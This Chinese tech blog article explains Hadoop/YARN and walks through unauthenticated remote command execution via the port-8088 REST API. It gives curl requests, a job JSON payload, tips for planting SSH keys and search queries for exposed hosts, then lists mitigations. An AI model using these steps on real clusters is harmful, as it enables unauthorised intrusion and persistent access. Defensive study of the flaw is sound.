您好,登錄后才能下訂單哦!
Hadoop命令執行是怎樣的,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
Hadoop是一個由Apache的分布式系統基礎架構,用戶可開發分布式程序,充分利用集群的威力進行高速運算和存儲,實現了一個分布式文件系統(Hadoop Distributed File System)。
其中HDFS組件有高容錯性的特點,并且部署在低廉的(low-cost)硬件上即可提供高吞吐量(high throughput)來訪問應用程序的數據。
Apache Yarn(Yet Another Resource Negotiator的縮寫)是hadoop集群資源管理器系統,Yarn從hadoop 2引入,最初是為了改善MapReduce的實現,但是它具有通用性,同樣執行其他分布式計算模式。
ApplicationMaster負責與scheduler協商合適的container,跟蹤應用程序的狀態,以及監控它們的進度,ApplicationMaster是協調集群中應用程序執行的進程。每個應用程序都有自己的ApplicationMaster,負責與ResourceManager協商資源(container)和NodeManager協同工作來執行和監控任務 。
當一個ApplicationMaster啟動后,會周期性的向resourcemanager發送心跳報告來確認其健康和所需的資源情況,在建好的需求模型中,ApplicationMaster在發往resourcemanager中的心跳信息中封裝偏好和限制,在隨后的心跳中,ApplicationMaster會對收到集群中特定節點上綁定了一定的資源的container的租約,根據Resourcemanager發來的container,ApplicationMaster可以更新它的執行計劃以適應資源不足或者過剩,container可以動態的分配和釋放資源。
與job相關的命令:
1.查看 Job 信息:hadoop job -list 2.殺掉 Job: hadoop job –kill job_id 3.作業的更多細節: hadoop job -history all output-dir 4.殺死任務。被殺死的任務不會不利于失敗嘗試:hadoop jab -kill-task <task-id> 5.使任務失敗。被失敗的任務會對失敗嘗試不利:hadoop job -fail-task <task-id>
YARN命令:
YARN命令是調用bin/yarn腳本文件,如果運行yarn腳本沒有帶任何參數,則會打印yarn所有命令的描述。
使用: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS] application使用: yarn application [options]
運行jar文件
用戶可以將寫好的YARN代碼打包成jar文件,用這個命令去運行它:
yarn jar <jar>[mainClass] args...
使用ROOT權限啟動的Hadoop服務可根據在服務器8088端口接收用戶提交的POST數據,根據其中參數執行相關job,具體實現如下:
8088端口的Applications manager:
1.**申請新的application,直接通過curl進行POST請求:**
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回內容類似于:
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2.構造并提交任務
構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創建test_1文件,內容也為111:
{ "am-container-spec":{ "commands":{ "command":"echo '111' >> /var/tmp/test_1" } }, "application-id":"application_1527144634877_20465", "application-name":"test", "application-type":"YARN" }
然后直接使用curl發送數據:
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應文件,在8088端口Web界面可看到相關信息:
技巧:
1可配合ceye、dnslog測試命令執行結果,或在/home/user/.ssh/authorized_keys中寫入公鑰。
2 搜索開放服務:title="All Applications"
或者port=50070
但此方式有三點限制:
1是服務需管理員權限啟動,執行命令也是管理員權限執行,普通用戶五相關命令權限只會有失敗記錄,命令最終執行失敗,留下難以刪除的攻擊記錄。
2是Hadoop的8088管理端口若使用了權限認證,會提示
AuthorizationException:"message":"Unable to obtain user name, user not authenticated。
3是master+slave節點數大于等于2,job任務會根據hadoop分布式機制提交到任一臺節點處理,目前筆者還未找到指定namenode的方法。
1.建議項目擁有者將暴露在公網的服務端口(8040,8042,8088,50060,50070等)屏蔽掉,或做白名單訪問處理。
2.對Hadoop web Manager服務(8088)做訪問身份認證處理,對接收的數據包進行認證。
3.修改默認端口,防止端口服務被批量利用。
看完上述內容,你們掌握Hadoop命令執行是怎樣的的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。